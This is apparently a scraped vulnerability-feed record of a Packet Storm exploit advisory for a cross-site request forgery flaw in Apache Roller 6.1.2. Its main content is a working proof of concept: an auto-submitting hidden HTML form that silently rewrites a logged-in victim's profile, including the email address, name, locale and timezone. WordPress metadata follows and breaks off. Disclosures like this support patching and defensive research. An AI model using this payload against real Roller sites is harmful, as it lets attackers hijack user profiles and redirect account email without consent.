{“lastseen”:”2026-02-02T17:40:02″,”description”:”Apache Roller versions 6.1.2 and below contain a cross site request forgery vulnerability in endpoint \/roller\/roller-ui\/profile!save.rol. This vulnerability allows attackers to arbitrarily update the victim user’s profile information e.g., email, full…”,”published”:”2026-02-02T00:00:00″,”modified”:”2026-02-02T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Apache Roller 6.1.2 Cross Site Request Forgery”,”source”:””,”references”:””,”id”:”PACKETSTORM:214706″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# Exploit Title: Apache Roller v6.1.2 – Cross-Site Request Forgery (CSRF) in Profile Update\\n # Version: v6.1.2\\n # Date: 2025-11-09\\n # Exploit Author: Van Lam Nguyen\\n # Facebook: https:\/\/www.facebook.com\/vanlam1412\\n # Vendor Homepage: https:\/\/roller.apache.org\\n # Software Link: https:\/\/github.com\/apache\/roller\/archive\/refs\/tags\/roller-6.1.2.zip\\n # Tested on: Windows\\n # CVE: N\/A\\n # POC: https:\/\/github.com\/vanlam2001\/roller-csrf\\n \\n Overview\\n ==================================================\\n Roller v6.1.2 and below was discovered to contain a Cross-Site Request Forgery (CSRF) in the endpoint \/roller\/roller-ui\/profile!save.rol. \\n This vulnerability allows attackers to arbitrarily update the victim user’s profile information (e.g., email, full name, locale, timezone) via a crafted HTML page\\n \\n Proof of Concept\\n ==================================================\\n Made an unauthorized request to \/roller\/roller-ui\/profile!save.rol that updates the user’s profile without CSRF protection\\n \\u003chtml\\u003e\\n \\u003c\/head\\u003e\\n \\u003cform id=\\”exploitForm\\” action=\\”http:\/\/localhost:8080\/roller\/roller-ui\/profile!save.rol\\” method=\\”POST\\”\\u003e\\n \\u003cinput name=\\”bean.userName\\” value=\\”vanlam\\” type=\\”hidden\\”\\u003e\\n \\u003cinput name=\\”bean.screenName\\” value=\\”hacked\\” type=\\”hidden\\”\\u003e\\n \\u003cinput name=\\”bean.fullName\\” value=\\”hacked\\” type=\\”hidden\\”\\u003e\\n \\u003cinput name=\\”bean.emailAddress\\” value=\\”hacked@gmail.com\\” type=\\”hidden\\”\\u003e\\n \\u003cinput name=\\”bean.passwordText\\” value=\\”\\” type=\\”hidden\\”\\u003e\\n \\u003cinput name=\\”bean.passwordConfirm\\” value=\\”\\” type=\\”hidden\\”\\u003e\\n \\u003cinput name=\\”bean.locale\\” value=\\”vi_VN\\” type=\\”hidden\\”\\u003e\\n \\u003cinput name=\\”bean.timeZone\\” value=\\”Asia\/Bangkok\\” type=\\”hidden\\”\\u003e\\n \\u003c\/form\\u003e\\n \\n \\u003cscript\\u003e\\n document.getElementById(‘exploitForm’).submit();\\n \\u003c\/script\\u003e\\n \\u003c\/body\\u003e\\n \\u003c\/html\\u003e\\n \\n bean.userName: vanlam\\n bean.screenName: hacked\\n bean.fullName: hacked\\n bean.emailAddress: hacked@gmail.com\\n bean.passwordText: \\n bean.passwordConfirm: \\n bean.locale: vi_VN\\n bean.timeZone: Asia\/Bangkok”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214706″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214706\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-02T17:40:02″,”description”:”Apache Roller versions 6.1.2 and below contain a cross site request forgery vulnerability in endpoint \/roller\/roller-ui\/profile!save.rol. This vulnerability allows attackers to arbitrarily update the victim…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-38551","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n